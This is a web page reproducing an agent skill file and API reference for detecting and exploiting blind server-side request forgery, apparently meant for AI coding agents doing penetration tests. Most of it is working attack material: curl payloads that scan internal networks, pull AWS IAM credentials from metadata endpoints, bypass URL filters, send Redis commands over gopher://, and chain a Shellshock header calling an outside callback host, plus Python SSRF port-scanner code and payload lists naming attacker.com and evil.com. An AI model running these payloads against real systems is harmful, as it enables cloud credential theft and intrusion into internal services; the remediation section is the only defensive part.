What it does. Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-blind-ssrf-exploitation, or copy the skill folder into ~/.claude/skills/performing-blind-ssrf-exploitation/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-blind-ssrf-exploitation/SKILL.md

SKILL.md (verbatim)

name: performing-blind-ssrf-exploitation
description: Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band
  techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal
  services and cloud metadata endpoints even when server responses are not reflected. Use when
  testing URL/webhook parameters, PDF generators, image processors, or import/preview features
  where SSRF output cannot be observed directly.
domain: cybersecurity
subdomain: web-application-security
tags:
- blind-ssrf
- ssrf
- out-of-band
- burp-collaborator
- cloud-metadata
- internal-network
- oob-detection
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1078.004

Performing Blind SSRF Exploitation

When to Use

• When testing URL/webhook input parameters where server-side responses are not reflected
• During assessment of applications that fetch external resources (avatars, previews, imports)
• When testing PDF generators, image processors, or document converters for SSRF
• During cloud security assessments to detect metadata endpoint access
• When evaluating webhook functionality and URL validation implementations

Prerequisites

• Burp Suite Professional with Burp Collaborator for OOB detection
• interact.sh or webhook.site for external callback monitoring
• Understanding of SSRF attack vectors and internal network enumeration
• Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
• VPS or controlled server for advanced exploitation callback handling
• Python with requests library for automation scripts

Workflow

Step 1 — Identify Blind SSRF Input Points

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Step 2 — Confirm Blind SSRF with Out-of-Band Detection

# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

Step 3 — Enumerate Internal Network

# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

Step 4 — Access Cloud Metadata Endpoints

# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

Step 5 — Bypass SSRF Filters

# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

Step 6 — Escalate Blind SSRF to Data Exfiltration

# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration

# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

Key Concepts

Tools & Systems

Common Scenarios

1. Cloud Credential Theft — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
2. Internal Service Discovery — Use timing-based blind SSRF to enumerate internal network hosts and open ports
3. Redis Exploitation — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
4. Webhook Abuse — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
5. PDF Generator SSRF — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents

Output Format

## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes

### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |

### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |

### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers

Other files in this skill

• LICENSE
• references/api-reference.md
• scripts/agent.py

references/api-reference.md (verbatim)

API Reference: Blind SSRF Exploitation

Libraries Used

Installation

pip install requests

Techniques and Payloads

Cloud Metadata Endpoints

Internal Network Scanning Payloads

# Common internal targets for blind SSRF probing
INTERNAL_TARGETS = [
    "http://127.0.0.1:{port}",
    "http://localhost:{port}",
    "http://0.0.0.0:{port}",
    "http://[::1]:{port}",
    "http://10.0.0.1:{port}",
    "http://192.168.1.1:{port}",
    "http://172.16.0.1:{port}",
]

COMMON_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

Core Functions

Out-of-Band (OOB) Blind SSRF Detection

import requests
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

class CallbackHandler(BaseHTTPRequestHandler):
    received = []

    def do_GET(self):
        CallbackHandler.received.append({
            "path": self.path,
            "headers": dict(self.headers),
            "client": self.client_address[0],
        })
        self.send_response(200)
        self.end_headers()

    def log_message(self, format, *args):
        pass  # Suppress console output

def start_callback_server(port=8888):
    server = HTTPServer(("0.0.0.0", port), CallbackHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server

def test_blind_ssrf_oob(target_url, param_name, callback_url):
    """Test for blind SSRF using OOB callback."""
    payload = callback_url + "/ssrf-test"
    resp = requests.get(
        target_url,
        params={param_name: payload},
        timeout=10,
    )
    return resp.status_code

Time-Based Blind SSRF Detection

import time

def test_time_based_ssrf(target_url, param_name, open_port_url, closed_port_url):
    """Detect SSRF via response time difference between open and closed ports."""
    # Baseline: request to a closed port (should timeout slower)
    start = time.time()
    try:
        requests.get(target_url, params={param_name: closed_port_url}, timeout=15)
    except requests.Timeout:
        pass
    closed_time = time.time() - start

    # Test: request to an open port (should respond faster)
    start = time.time()
    try:
        requests.get(target_url, params={param_name: open_port_url}, timeout=15)
    except requests.Timeout:
        pass
    open_time = time.time() - start

    # Significant time difference indicates SSRF
    return {
        "open_port_time": round(open_time, 2),
        "closed_port_time": round(closed_time, 2),
        "likely_ssrf": abs(closed_time - open_time) > 2.0,
    }

Internal Port Scanner via SSRF

def ssrf_port_scan(target_url, param_name, internal_host, ports):
    """Scan internal ports through a blind SSRF vulnerability."""
    results = {"open": [], "closed": [], "filtered": []}
    for port in ports:
        ssrf_url = f"http://{internal_host}:{port}/"
        start = time.time()
        try:
            resp = requests.get(
                target_url,
                params={param_name: ssrf_url},
                timeout=10,
            )
            elapsed = time.time() - start
            if resp.status_code == 200 and elapsed < 3:
                results["open"].append(port)
            else:
                results["closed"].append(port)
        except requests.Timeout:
            results["filtered"].append(port)
    return results

URL Bypass Techniques

BYPASS_PAYLOADS = [
    # Decimal IP encoding
    "http://2130706433/",           # 127.0.0.1
    # Hex encoding
    "http://0x7f000001/",           # 127.0.0.1
    # Octal encoding
    "http://0177.0.0.1/",
    # IPv6
    "http://[::ffff:127.0.0.1]/",
    # URL encoding
    "http://127.0.0.1%2523@evil.com/",
    # DNS rebinding
    "http://spoofed.burpcollaborator.net/",
    # Redirect-based
    "https://attacker.com/redirect?url=http://169.254.169.254/",
]

Output Format

{
  "target": "https://app.example.com/fetch",
  "parameter": "url",
  "ssrf_confirmed": true,
  "detection_method": "out-of-band",
  "internal_services_found": [
    {"host": "127.0.0.1", "port": 6379, "service": "Redis"},
    {"host": "10.0.0.5", "port": 3306, "service": "MySQL"}
  ],
  "cloud_metadata_accessible": true,
  "bypasses_needed": ["decimal IP encoding"]
}

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.